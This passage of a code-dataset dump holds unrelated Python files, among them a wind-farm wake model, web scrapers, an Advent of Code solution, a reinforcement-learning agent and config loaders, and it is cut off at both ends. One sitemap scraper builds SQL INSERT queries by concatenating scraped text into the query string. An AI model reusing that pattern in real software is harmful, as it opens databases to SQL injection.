Coordinate(\n np.mean(np.unique(self.x)), np.mean(np.unique(self.y)))\n\n rotated_x, rotated_y, rotated_z = self._rotated_grid(\n self.wind_direction, center_of_rotation)\n\n rotated_map = self.turbine_map.rotated(\n self.wind_direction, center_of_rotation)\n\n # sort the turbine map\n sorted_map = rotated_map.sorted_in_x_as_list()\n\n # calculate the velocity deficit and wake deflection on the mesh\n u_wake = np.zeros(self.u_field.shape)\n for coord, turbine in sorted_map:\n\n # update the turbine based on the velocity at its hub\n # local_deficit = self._field_velocity_at_coord(coord, u_wake)\n # turbine.update_quantities(self.wind_speed, self.wind_speed - local_deficit, self.wind_shear,self)\n turbine.update_quantities(u_wake, coord, self, rotated_x, rotated_y, rotated_z)\n \n # get the wake deflecton field\n deflection = self._compute_turbine_wake_deflection(rotated_x, rotated_y, turbine, coord, self)\n\n # get the velocity deficit accounting for the deflection\n turb_wake = self._compute_turbine_velocity_deficit(\n rotated_x, rotated_y, rotated_z, turbine, coord, deflection, self.wake, self)\n\n # compute area overlap of wake on other turbines and update downstream turbine turbulence intensities\n\n if self.wake.velocity_model == 'gauss':\n for coord_ti, _ in sorted_map:\n\n if coord_ti.x > coord.x:\n turbine_ti = rotated_map[coord_ti]\n\n # only assess the effects of the current wake\n wake_velocities = turbine_ti._calculate_swept_area_velocities(self, self.initial_flowfield - turb_wake, \n coord_ti, rotated_x, rotated_y, rotated_z)\n freestream_velocities = turbine_ti._calculate_swept_area_velocities(self, self.initial_flowfield, \n coord_ti, rotated_x, rotated_y, rotated_z)\n\n area_overlap = self._calculate_area_overlap(wake_velocities, freestream_velocities, turbine)\n\n if area_overlap > 0.0:\n turbine_ti.TI = turbine_ti._calculate_turbulence_intensity(self,self.wake,coord_ti,coord,turbine)\n\n # combine this turbine's wake into the full wake field\n u_wake = self.wake_combination.combine(u_wake, turb_wake)\n\n # apply the velocity deficit field to the freestream\n self.u_field = self.initial_flowfield - u_wake\n\n # Visualization\n\n def _add_z_plane(self, percent_height=0.5):\n plane = int(self.grid_resolution.z * percent_height)\n self.viz_manager.plot_constant_z(\n self.x[:, :, plane], self.y[:, :, plane], self.u_field[:, :, plane])\n for coord, turbine in self.turbine_map.items():\n self.viz_manager.add_turbine_marker(turbine, coord, self.wind_direction)\n\n def _add_y_plane(self, percent_height=0.5):\n plane = int(self.grid_resolution.y * percent_height)\n self.viz_manager.plot_constant_y(\n self.x[:, plane, :], self.z[:, plane, :], self.u_field[:, plane, :])\n\n def _add_x_plane(self, percent_height=0.5):\n plane = int(self.grid_resolution.x * percent_height)\n self.viz_manager.plot_constant_x(\n self.y[plane, :, :], self.z[plane, :, :], self.u_field[plane, :, :])\n\n def plot_z_planes(self, planes):\n for p in planes:\n self._add_z_plane(p)\n self.viz_manager.show()\n\n def plot_y_planes(self, planes):\n for p in planes:\n self._add_y_plane(p)\n self.viz_manager.show()\n\n def plot_x_planes(self, planes):\n for p in planes:\n self._add_x_plane(p)\n self.viz_manager.show()\n","repo_name":"nhamilto/doctest","sub_path":"floris/flow_field.py","file_name":"flow_field.py","file_ext":"py","file_size_in_byte":8828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3832718655","text":"import argparse\nfrom Readers_Reporters.datacollection_RR import Datacollection_Reporter\n\n\ndef get_args():\n parser = argparse.ArgumentParser(description='Please specify config path and mesh path. The order of the path is not essential. '\n 'Must have Data Collection config path, '\n 'configs such as World, Hardware, Armcontrol are optional but recommended')\n parser.add_argument(\"paths\", nargs='+')\n return vars(parser.parse_args())\n\nif __name__ == '__main__':\n args = get_args()\n paths = args[\"paths\"]\n reporter = Datacollection_Reporter(paths)\n reporter.show_report()","repo_name":"geleazar1000111/ryu","sub_path":"Config_Reader/DC_Validation.py","file_name":"DC_Validation.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1683919759","text":"import requests\nfrom bs4 import BeautifulSoup\nimport mysql.connector\n\nclass zaspaida():\n\n homelink = \"https://www.example.com/sitemap\"\n\n\n def dbtalk(self,query):\n mydb = mysql.connector.connect(\n host=\"\",\n user=\"\",\n passwd=\"\",\n database = \"\"\n\n )\n mycursor = mydb.cursor()\n mycursor.execute(query)\n mydb.commit()\n print(\"query eseguita\")\n\n def uploadmap(self,links,title):\n i = 0\n allq = \"\"\n for link in links:\n Titolo = str(title[i])\n link = links[i]\n if(Titolo == \"\"):\n i += 1\n continue\n else:\n query = \"INSERT INTO python (ID,Titolo,Url) VALUES ('\"+str(i)+\"','\"+Titolo+\"','\"+link+\"'); \"\n allq = allq + query\n i += 1\n return (allq)\n def getlinks(self):\n html = requests.get(self.homelink)\n soup = BeautifulSoup(html.content,\"html.parser\")\n links = soup.find_all(\"loc\")\n data = {}\n i = 0\n for link in links:\n link = str(link)\n link = link.replace(\"\",\"\")\n link = link.replace(\" \",\"\")\n data[i] = link\n i += 1\n return data\n\n def gettitle(self):\n html = requests.get(self.homelink)\n soup = BeautifulSoup(html.content,\"html.parser\")\n links = soup.find_all(\"loc\")\n data = {}\n i = 0\n for link in links:\n link = str(link)\n link = link.replace(\"\",\"\")\n link = link.replace(\" \",\"\")\n title = link.split(\"/\")\n title = title[len(title)-1]\n title = title.replace(\".htm\",\"\")\n title = title.replace(\"-\",\" \")\n title = title.replace(\"www.\",\" \")\n data[i] = title\n i += 1\n return data\n\nspider = zaspaida()\nlinks = spider.getlinks()\nTitolo = spider.gettitle()\nallq = spider.uploadmap(links,Titolo)\nspider.dbtalk(allq)\n","repo_name":"AlexZorzi/Moodle-Cheat","sub_path":"sitemapdownloader.py","file_name":"sitemapdownloader.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"30838048408","text":"''' Problem 1: Max,Min sub-array of k '''\n\n# def sliding(arr,k):\n# l=len(arr)\n# window_sum=0\n# max_sum=None\n# ''' sum of first subarray and keeping value in window_sum variable '''\n# for i in range(k):\n# window_sum+=arr[i]\n\n# max_sum=window_sum\n# ''' sliding window '''\n# for i in range(l-k):\n# window_sum=window_sum-arr[i]+arr[k+i]\n# ''' Comparison between current subarry(window_sum) vs previous sub-array(max_sum) '''\n# max_sum=max(window_sum,max_sum)\n \n# return max_sum\n\ndef sliding(arr,k):\n i=0\n j=0\n maxsum=0\n windowsum=0\n n=len(a)\n while j < n:\n windowsum+=arr[j]\n \n if(j-i+1 == k):\n maxsum=max(windowsum,maxsum)\n i=i+1\n j=j+1\n return maxsum\na=[1,2,3,4,5,6,7]\n\nprint(sliding(a,3))\n\n","repo_name":"Ashis101/py-dsa","sub_path":"algo/sliding_window/basic1.py","file_name":"basic1.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18297435183","text":"# As the expedition finally reaches the extraction point, several large hot air balloons drift down to meet you. \n# Crews quickly start unloading the equipment the balloons brought: many hot air balloon kits, some fuel tanks, and a fuel heating machine.\n# The fuel heating machine is a new addition to the process. \n# When this mountain was a volcano, the ambient temperature was more reasonable; now, it's so cold that the fuel won't work at all without being warmed up first.\n# The Elves, seemingly in an attempt to make the new machine feel welcome, have already attached a pair of googly eyes and started calling it \"Bob\".\n# To heat the fuel, Bob needs to know the total amount of fuel that will be processed ahead of time so it can correctly calibrate heat output and flow rate. \n# This amount is simply the sum of the fuel requirements of all of the hot air balloons, and those fuel requirements are even listed clearly on the side of each hot air balloon's burner.\n# You assume the Elves will have no trouble adding up some numbers and are about to go back to figuring out which balloon is yours when you get a tap on the shoulder. \n# Apparently, the fuel requirements use numbers written in a format the Elves don't recognize; predictably, they'd like your help deciphering them.\n\n\n# As you go to input this number on Bob's console, \n# you discover that some buttons you expected are missing. \n# Instead, you are met with buttons labeled =, -, 0, 1, and 2\nbuttonsThatHaveLabels = {\n \"0\": 0,\n \"1\": 1,\n \"2\": 2,\n \"-\": -1,\n \"=\": -2\n }\n\ndigitsToSNAF = {digit: s for s, digit in buttonsThatHaveLabels.items()}\n\ndef parse(s):\n SNAFUNumber = 0\n d = len(s)\n p = 1 \n s = s[::-1]\n for i in range(d):\n SNAFUNumber += p * buttonsThatHaveLabels[s[i]]\n p *= 5 \n return SNAFUNumber \n\ndef convert(num):\n start = \"\"\n while num > 0:\n digit = ((num +2) % 5) -2\n start += digitsToSNAF[digit]\n num -= digit\n num //=5 # SNAFU works the same way, except it uses powers of five instead of ten\n return start[::-1]\n\nif __name__ == \"__main__\":\n with open(\"day25.txt\") as fin: \n data = fin.read().strip().split()\n\n SNAFUNumber = 0\n for da in data: \n SNAFUNumber += parse(da)\n print(\"part 1 - \", convert(SNAFUNumber))\n\n# answers \n# Part 1 - 2--2-0=--0--100-=210","repo_name":"chastainalexandra/AdventOfCode-2017-2022","sub_path":"2022/day25.py","file_name":"day25.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29576693851","text":"import selenium.webdriver as wd\nfrom selenium.webdriver.remote.webelement import WebElement\nfrom selenium.webdriver.common.by import By\nfrom typing import List, Tuple, Dict\nfrom tqdm import tqdm\nimport time\nimport json\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n# NOTE: Change the following lines depending on your machine\n# Linux Chrome Executable Path\nCHROME_EXECUTABLE_PATH = \"/usr/bin/google-chrome-stable\" # This may be different depending on your machine\nCHROME_DRIVER_PATH = \"/usr/bin/chromedriver\" # This may be different depending on your machine\n\n# MacOS Chrome Executable Path\n# CHROME_EXECUTABLE_PATH = \"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome\"\n# CHROME_DRIVER_PATH = \"/opt/homebrew/bin/chromedriver\"\n\n\ndef startChromeDriver() -> wd.Chrome:\n executablePath = CHROME_EXECUTABLE_PATH\n driverPath = CHROME_DRIVER_PATH\n \n # Create Browser Options\n options = wd.ChromeOptions()\n options.binary_location = executablePath\n \n # Create Browser Driver\n return wd.Chrome(executable_path=driverPath, chrome_options=options)\n\n\ndef checkElementExists(node: WebElement, xpath: str) -> Tuple[bool, WebElement]:\n try:\n elem = node.find_element(By.XPATH, xpath)\n return True, elem\n except:\n return False, None\n\n\ndef checkElementsExist(node: WebElement, xpath: str) -> Tuple[bool, List[WebElement]]:\n try:\n elems = node.find_elements(By.XPATH, xpath)\n return True, elems\n except:\n return False, None\n\n\ndef waitForElement(node: WebElement, xpath: str, nolimit: bool = True, \n iters: int = 10, interval: float = 0.1) -> Tuple[bool, WebElement]:\n if nolimit:\n for _ in range(iters):\n time.sleep(interval)\n ret, elem = checkElementExists(node, xpath)\n if ret: return ret, elem\n return False, None\n else:\n time.sleep(interval)\n ret, elem = checkElementExists(node, xpath)\n while not ret:\n time.sleep(interval)\n ret, elem = checkElementExists(node, xpath)\n return ret, elem\n\n\ndef waitForElements(node: WebElement, xpath: str, nolimit: bool = True, \n iters: int = 10, interval: float = 0.1) -> Tuple[bool, List[WebElement]]:\n if nolimit:\n for _ in range(iters):\n time.sleep(interval)\n ret, elems = checkElementsExist(node, xpath)\n if ret: return ret, elems\n return False, None\n else:\n time.sleep(interval)\n ret, elems = checkElementsExist(node, xpath)\n while not ret:\n time.sleep(interval)\n ret, elems = checkElementsExist(node, xpath)\n return ret, elems\n\n\ndef scrollToBottom(driver: wd.Chrome) -> None:\n total_height = int(driver.execute_script(\"return document.body.scrollHeight\"))\n\n for i in range(1, total_height, 5):\n driver.execute_script(\"window.scrollTo(0, {});\".format(i))\n\n\nSTRING_REPLACEMENTS = {\n \"&\": \"and\",\n \"\\u2019\": \"'\",\n \"\\u2013\": \",\"\n}\n\n\ndef cleanString(string: str) -> str:\n for key, val in STRING_REPLACEMENTS.items():\n string = string.replace(key, val)\n return string.strip().lower()\n\n\ndef removeSubstrings(string: str, items: List[str]) -> str:\n for item in items:\n string = string.replace(item, \"\")\n return string\n\n\ndef getItemInformation(driver: wd.Chrome, href: str) -> Dict:\n # Open Link to Item\n driver.get(href)\n\n # Determine Item Category\n categories = waitForElements(driver, \".//li[contains(@class, 'bc-breadcrumb__list-item')]\")[1]\n category = \"n/a\"\n if len(categories) > 1:\n category = waitForElement(categories[1], \".//span\")[1].get_attribute(\"innerHTML\")\n category = cleanString(category)\n \n # Determine Item Price\n priceInt = float(waitForElement(driver, \".//span[contains(@class, 'pip-temp-price__integer')]\")[1].text.replace(\",\", \"\"))\n priceDec = float(waitForElement(driver, \".//span[contains(@class, 'pip-temp-price__decimal')]\")[1].text)\n price = priceInt + priceDec\n\n # Determine Item Name\n name = waitForElement(driver, \".//span[contains(@class, 'pip-header-section__title')]\")[1].text\n\n # Determine Item Description\n description = waitForElement(driver, \".//span[contains(@class, 'pip-header-section__description-text')]\")[1].text\n\n # Determine Item Rating\n review = waitForElement(driver, \".//button[contains(@class, 'pip-temp-price-module__ratings')]\")[1].get_attribute(\"aria-label\")\n rating, _, numReviews = [float(num) for num in removeSubstrings(review, [\"Review:\", \"out of\", \"stars. Total reviews:\"]).split()]\n numReviews = int(numReviews)\n\n # Determine Item Article Number\n identifier = waitForElement(driver, \".//span[contains(@class, 'pip-product-identifier__value')]\")[1].text\n \n # Construct Item Database Description\n listing = \"{}\\tPrice: ${:.2f}\\tRating: {:.1f}/5.0\\tNumber of Reviews: {}\\tArticle Number: [{}]\\tDescription: {}\".format(name, price, rating, numReviews, identifier, description)\n\n itemObj = {\n \"name\": name,\n \"category\": category,\n \"price\": price,\n \"rating\": rating,\n \"numReviews\": numReviews,\n \"identifier\": identifier,\n \"description\": description,\n \"listing\": listing\n }\n\n return itemObj\n\n\ndef getTemplateItemInformation(driver: wd.Chrome, href: str) -> Dict:\n # Open Template Link\n print(\"Collecting Item Information From: {}\".format(href))\n driver.get(href)\n scrollToBottom(driver) # Load Page\n\n # Find Listing Items\n _, items = waitForElements(driver, \".//a[contains(@class, 'pub__shoppable-image__dot')]\")\n itemLinks = [item.get_attribute(\"href\") for item in items]\n\n # Items\n itemCollection = {}\n for itemLink in tqdm(itemLinks):\n try:\n itemObj = getItemInformation(driver, itemLink)\n itemList = itemCollection.get(itemObj.get(\"category\"), [])\n itemList.append(itemObj)\n itemCollection[itemObj.get(\"category\")] = itemList\n except:\n continue\n return itemCollection\n\n\ndef getTemplateDescription(driver: wd.Chrome, href: str) -> str:\n driver.get(href)\n title = waitForElement(driver, \".//h1[contains(@class, 'c1m1sl8e pub__h1 s1gshh7t')]\")[1].text\n description = waitForElement(driver, \".//div[contains(@class, 'cpnz0ke')]\")[1].text\n return cleanString(\"{}. {}\".format(title, description.strip()))\n\n\ndef getTemplatesInformation(driver: wd.Chrome, href: str, code: str) -> List:\n # Open Templates List for Category\n driver.get(href)\n\n # Find Template List\n templateListing = waitForElement(driver, \".//div[contains(@data-pub-type, 'page-list')]\")[1]\n templates = waitForElements(templateListing, \".//a[contains(@class, 'pub__card')]\")[1]\n templateLinks = [template.get_attribute(\"href\") for template in templates]\n\n templateList = []\n for i in range(len(templateLinks)):\n templateCode = \"{}{}\".format(code, i)\n templateLink = templateLinks[i]\n templateItems = getTemplateItemInformation(driver, templateLink)\n templateDescription = getTemplateDescription(driver, templateLink)\n templateList.append((templateCode, templateItems, templateDescription))\n\n return templateList\n\n\nif __name__ == \"__main__\":\n galleries = {\n \"bedroom\": {\"code\": \"b\", \"link\": \"https://www.ikea.com/us/en/rooms/bedroom/gallery\"},\n \"living\": {\"code\": \"l\", \"link\": \"https://www.ikea.com/us/en/rooms/living-room/gallery\"},\n \"kitchen\": {\"code\": \"k\", \"link\": \"https://www.ikea.com/us/en/rooms/kitchen/gallery\"},\n \"office\": {\"code\": \"o\", \"link\": \"https://www.ikea.com/us/en/rooms/home-office/gallery\"},\n \"bathroom\": {\"code\": \"r\", \"link\": \"https://www.ikea.com/us/en/rooms/bathroom/gallery\"},\n \"children\": {\"code\": \"c\", \"link\": \"https://www.ikea.com/us/en/rooms/childrens-room/gallery\"},\n \"dining\": {\"code\": \"d\", \"link\": \"https://www.ikea.com/us/en/rooms/dining/gallery\"},\n \"outdoor\": {\"code\": \"u\", \"link\": \"https://www.ikea.com/us/en/rooms/outdoor/gallery\"},\n \"hallway\": {\"code\": \"h\", \"link\": \"https://www.ikea.com/us/en/rooms/hallway/gallery\"}\n }\n\n driver = startChromeDriver()\n\n templates = {}\n products = {}\n\n for room, obj in galleries.items():\n roomDescriptions = []\n for code, items, description in getTemplatesInformation(driver, obj.get(\"link\"), obj.get(\"code\")):\n roomDescriptions.append({\"code\": code, \"description\": description})\n products[code] = items\n templates[room] = roomDescriptions\n\n with open(\"data/templates.json\", \"w\") as f:\n json.dump(templates, f, indent=2)\n\n with open(\"data/products.json\", \"w\") as f:\n json.dump(products, f, indent=2)","repo_name":"kimchankyo/cs224v-final-project-submission","sub_path":"src/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":8304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40755005027","text":"from os import path\n\nfrom setuptools import setup\n\nthis_directory = path.abspath(path.dirname(__file__))\n\nwith open(path.join(this_directory, \"README.md\"), encoding=\"utf-8\") as f:\n long_description = f.read()\n\nsetup(\n name=\"apple-health\",\n version=\"1.1.1\",\n url=\"https://github.com/fedecalendino/apple-health\",\n license=\"MIT\",\n description=\"Library to extract information from Apple Health exports\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=\"Fede Calendino\",\n author_email=\"fede@calendino.com\",\n packages=[\n \"apple_health\",\n \"apple_health.classes\",\n \"apple_health.constants\",\n ],\n keywords=[\"apple health\"],\n install_requires=[\n \"python-dateutil\",\n \"xmltodict\",\n ],\n classifiers=[\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n ],\n)\n","repo_name":"MerlinCo-git/apple-health","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"33030688925","text":"import requests\n\nfrom common.base import BaseCom\n\n\nclass TestClass:\n\n base = BaseCom()\n URL_GET = base.url_get\n BASE_DIR = base.base_dir\n\n def test_get_200(self):\n \"\"\"GET request to url returns a 200.\"\"\"\n link = \"www.python.org\"\n word = \"Python\"\n url = '{0}{1}/{2}'.format(self.URL_GET, link, word)\n resp = requests.get(url)\n assert resp.status_code == 200\n\n def test_get_400(self):\n \"\"\"GET request to url returns a 400.\"\"\"\n link = \"www.python.org22\"\n word = \"Python\"\n url = '{0}{1}/{2}'.format(self.URL_GET, link, word)\n resp = requests.get(url)\n assert resp.status_code == 400\n\n def test_get_404(self):\n \"\"\"GET request to url returns a 404.\"\"\"\n url = '{0}'.format(self.URL_GET)\n resp = requests.get(url)\n assert resp.status_code == 404\n\n def test_count_globo(self):\n \"\"\"Count word from text.\"\"\"\n name = \"globoesporte\"\n type_file = \"html\"\n search = \"cruzeiro\"\n text_com = self.base.get_html_text(name, type_file)\n if text_com:\n total = self.base.count_words(html_test=text_com, word=search)\n assert total == 36\n else:\n assert 0\n","repo_name":"WellCastro/api_count","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"38275745015","text":"'''\nThis script takes Billy's allcell files for mice recorded on the psychometric curve task, finds the 'sound-responsive' cells (Z score >= 3 or <= -3). \nStores the index of the selected cells for each animal in a hdf5 file. \nPlots tuning raster for each cell thus selected.\n'''\n\nimport os\nimport numpy as np\nimport pandas as pd\n#from jaratoolbox import settings\n#from jaratest.lan import test061_read_switching_measurement_txtfiles as reader\nfrom jaratest.lan import test055_load_n_plot_billy_data_one_cell as plotter\n\n\ndef read_sound_maxZ_file_psychometric_return_Df(maxZFilename):\n '''\n Reads txt files containing maximal Z scores of sound responses calculated by each chord frequencies presented in the 2afc task. \n '''\n maxZFile = open(maxZFilename, 'r')\n class nestedDict(dict):#This is for maxZDict\n def __getitem__(self, item):\n try:\n return super(nestedDict, self).__getitem__(item)\n except KeyError:\n value = self[item] = type(self)()\n return value\n maxZDict = nestedDict()\n behavName = ''\n for line in maxZFile:\n behavLine = line.split(':')\n freqLine = line.split()\n if (behavLine[0] == 'Behavior Session'):\n behavName = behavLine[1][:-1]\n else:\n maxZDict[behavName][freqLine[0]] = freqLine[1].split(',')[0:-1]\n maxZFile.close()\n\n maxZDf = pd.DataFrame()\n numCellsPerSession = 96\n for behavSession in maxZDict.keys():\n allFreqsSorted = sorted(int(maxZ) for maxZ in maxZDict[behavSession].keys())\n maxZAllFreqs = np.zeros((numCellsPerSession,6)) #initialize ndarray for all cells and all 6 frequencies in the psychometric, some sessions may not have all 6 so those values will be zero\n for indf,freq in enumerate(allFreqsSorted):\n maxZThisFreq = maxZDict[behavSession][str(freq)]\n maxZAllFreqs[:,indf] = maxZThisFreq\n thisSessionDf = pd.DataFrame({'session':np.tile(behavSession,numCellsPerSession),'tetrode':np.repeat(range(1,9),12),'cluster':np.tile(range(1,13),8),'maxZsound1':maxZAllFreqs[:,0],'maxZsound2':maxZAllFreqs[:,1],'maxZsound3':maxZAllFreqs[:,2],'maxZsound4':maxZAllFreqs[:,3],'maxZsound5':maxZAllFreqs[:,4],'maxZsound6':maxZAllFreqs[:,5]})\n maxZDf = maxZDf.append(thisSessionDf, ignore_index=True)\n\n return maxZDf\n \n \nMOUNTED_EPHYS_PATH = '/home/languo/data/jarastorephys'\nmouseNames = ['adap015','adap017','adap013','test053','test055'] # Names of the mice recorded on the psychometric curve task\nnumCellsPerSession = 96\n\nallMouseDf = pd.DataFrame()\nfor mouse in mouseNames:\n processedDir = os.path.join(MOUNTED_EPHYS_PATH,mouse+'_processed') # Directory storing all computed measurements in txt files (Billy's data only)\n maxZFilename = os.path.join(processedDir,'maxZVal.txt')\n maxZDf = read_sound_maxZ_file_psychometric_return_Df(maxZFilename)\n maxZDf['animalName'] = np.tile(mouse, maxZDf.shape[0])\n allMouseDf = allMouseDf.append(maxZDf, ignore_index=True)\n\n#allMouseDf.to_csv('/home/languo/data/behavior_reports/psychometric_tuning.csv')\n\nallMouseDf.to_hdf('/home/languo/data/behavior_reports/all_cells_tuning_maxZ.h5',key='psychometric')\n \n","repo_name":"sjara/jaratest","sub_path":"lan/test065_get_sound_responsive_cells_plot_tuning_psycurve_mice.py","file_name":"test065_get_sound_responsive_cells_plot_tuning_psycurve_mice.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"28906275913","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 17 23:13:17 2020\n\n@author: wyckliffe\n\"\"\"\n\nimport gym\nimport os\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom gym import wrappers\nfrom datetime import datetime\nfrom sklearn.pipeline import FeatureUnion\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.kernel_approximation import RBFSampler\nfrom cart_pole_v2_q_learning_with_bins import plot_running_average\n\n\nclass SGDRegressor:\n\n def __init__(self, D) :\n\n self.w = np.random.randn(D)\n self.lr = 10e-2\n\n def partial_fit(self, X, Y) :\n\n self.w += self.lr * (Y - X.dot(self.w)).dot(X) # single gradient descent\n\n def predict(self, X) :\n\n return X.dot(self.w)\n\n\nclass Transformer:\n\n def __init__(self , env) :\n\n observation_examples = np.random.random((20000, 4))* 2 - 2\n scaler = StandardScaler()\n scaler.fit(observation_examples)\n\n featurizer = FeatureUnion([\n (\"rbf1\", RBFSampler(gamma=0.05, n_components=1000)),\n (\"rbf2\", RBFSampler(gamma=1.0, n_components=1000)),\n (\"rbf3\", RBFSampler(gamma=0.5, n_components=1000)),\n (\"rbf4\", RBFSampler(gamma=0.1, n_components=1000))\n ])\n feature_examples = featurizer.fit_transform(scaler.transform(observation_examples))\n\n self.dimensions = feature_examples.shape[1]\n self.scaler = scaler\n self.featurizer = featurizer\n\n def transform(self, observations) :\n\n scaled = self.scaler.transform(observations)\n return self.featurizer.transform(scaled)\n\nclass Model:\n\n def __init__(self, env, feature_transformer) :\n\n self.env = env\n self.models = []\n self.feature_transformer = feature_transformer\n\n for i in range(env.action_space.n) :\n model = SGDRegressor(feature_transformer.dimensions)\n self.models.append(model)\n\n def predict(self, s) :\n\n X = self.feature_transformer.transform(np.atleast_2d(s))\n return np.array([m.predict(X)[0] for m in self.models])\n\n def update(self, s, a, G) :\n\n X = self.feature_transformer.transform(np.atleast_2d(s))\n self.models[a].partial_fit(X, [G])\n\n def sample_action(self, s, eps) :\n\n if np.random.random() < eps :\n return self.env.action_space.sample()\n else:\n return np.argmax(self.predict(s))\n\n\ndef episode(env, model, eps, gamma) :\n\n observation = env.reset()\n done = False\n total_reward = 0\n iterations = 0\n\n while not done and iterations < 2000 :\n\n action = model.sample_action(observation, eps)\n previous_observation = observation\n observation, reward, done , info = env.step(action)\n\n if done :\n reward = -200\n\n # update the model\n next_model = model.predict(observation)\n assert(len(next_model.shape) == 1)\n G = reward + gamma * np.max(next_model)\n model.update(previous_observation, action, G)\n\n if reward == 1:\n total_reward += reward\n iterations += 1\n\n return total_reward\n\ndef main() :\n\n env = gym.make('CartPole-v0')\n ft = Transformer(env)\n model = Model(env, ft)\n gamma = 0.99\n\n if 'monitor' in sys.argv :\n filename = os.path.basename(__file__).split('.')[0]\n monitor_dir = './' + filename + '_' + str(datetime.now())\n env = wrappers.Monitor(env, monitor_dir)\n\n N = 500\n total_rewards = np.empty(N)\n costs = np.empty(N)\n\n for n in range(N):\n\n #env.render()\n eps = 1.0 / np.sqrt(n+1)\n total_reward = episode(env, model, eps, gamma)\n total_rewards[n] = total_reward\n\n\n if n % 100 == 0 :\n\n print(\"Episode:\", n, \"Total reward:\", total_reward, \"eps:\", eps, \"Average reward (last 100):\", total_rewards[max(0, n-100):(n+1)].mean())\n\n print(\"Average reward for last 100 episodes:\", total_rewards[-100:].mean())\n print(\"Total steps:\", total_rewards.sum())\n env.render()\n plt.plot(total_rewards)\n plt.title(\"Rewards\")\n plt.show()\n\n plot_running_average(total_rewards)\n\nif __name__ == \"__main__\" :\n main()\n\n","repo_name":"WyckliffeAluga/potential-happiness","sub_path":"deep-reinforcement-learning/cart-pole/cart_pole_v3_q_learning_with_RBF.py","file_name":"cart_pole_v3_q_learning_with_RBF.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"5904607766","text":"import os\r\nimport fastjsonschema\r\nimport logging\r\nfrom ruamel.yaml import YAML\r\n\r\nlog = logging.getLogger(__name__)\r\n\r\nyaml = YAML()\r\nyaml.default_flow_style = False\r\n\r\nconfig_schema = {\r\n \"type\": \"object\",\r\n \"properties\": {\r\n \"bot_mode\": {\"type\": \"string\"},\r\n \"coords\": {\"type\": \"object\",\r\n \"properties\": {\r\n \"pos1\": {\"type\": \"array\"},\r\n \"pos2\": {\"type\": \"array\"}\r\n }\r\n },\r\n \"direction\": {\"type\": \"string\"},\r\n \"starter\": {\"type\": \"string\"},\r\n \"ui\": {\"type\": \"object\",\r\n \"properties\": {\r\n \"enable\": {\"type\": \"boolean\"},\r\n \"width\": {\"type\": \"number\"},\r\n \"height\": {\"type\": \"number\"}\r\n }\r\n },\r\n \"manual_catch\": {\"type\": \"boolean\"},\r\n \"catch_shinies\": {\"type\": \"boolean\"},\r\n \"battle_others\": {\"type\": \"boolean\"},\r\n \"save_game_after_catch\": {\"type\": \"boolean\"}\r\n }\r\n}\r\n\r\nConfigValidator = fastjsonschema.compile(config_schema) # Validate the config file to ensure user didn't do a dumb\r\n\r\ndef get_config():\r\n file = \"config.yml\"\r\n if os.path.exists(file):\r\n with open(file, mode = \"r\", encoding = \"utf-8\") as f:\r\n config = yaml.load(f)\r\n try:\r\n ConfigValidator(config)\r\n config[\"bot_mode\"] = config[\"bot_mode\"].lower()\r\n log.info(\"Config is valid!\")\r\n return config\r\n except fastjsonschema.exceptions.JsonSchemaDefinitionException as e:\r\n log.error(str(e))\r\n log.error(\"Config is invalid!\")\r\n return None\r\n else:\r\n log.error(\"Config file not found!\")\r\n return None","repo_name":"Jasper-B/Pokemon-Bot","sub_path":"modules/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40132915586","text":"'''\nTensorFlow Implementation of \"Speaker-Independent Speech Separation with Deep Attractor Network\"\n\nTODO docs\n'''\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom math import sqrt, isnan\nfrom random import randint\nimport argparse\nfrom sys import stdout\nfrom collections import OrderedDict\nfrom functools import reduce\nfrom colorsys import hsv_to_rgb\nimport sys\nimport os\nimport copy\nimport datetime as datetime\n\n\nimport numpy as np\nimport scipy.io\nimport tensorflow as tf\n# remove annoying \"I tensorflow ...\" logs\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n\nimport app.datasets as datasets\nfrom app.hparams import hparams\n# import app.hparams as hparams\nimport app.modules as modules\nimport app.ops as ops\nimport app.ozers as ozers\nimport app.utils as utils\n\n\n# Global vars\ng_sess = tf.Session()\ng_args = None\ng_model = None\ng_dataset = None\n\ndef _dict_add(dst, src):\n for k,v in src.items():\n if k not in dst:\n dst[k] = v\n else:\n 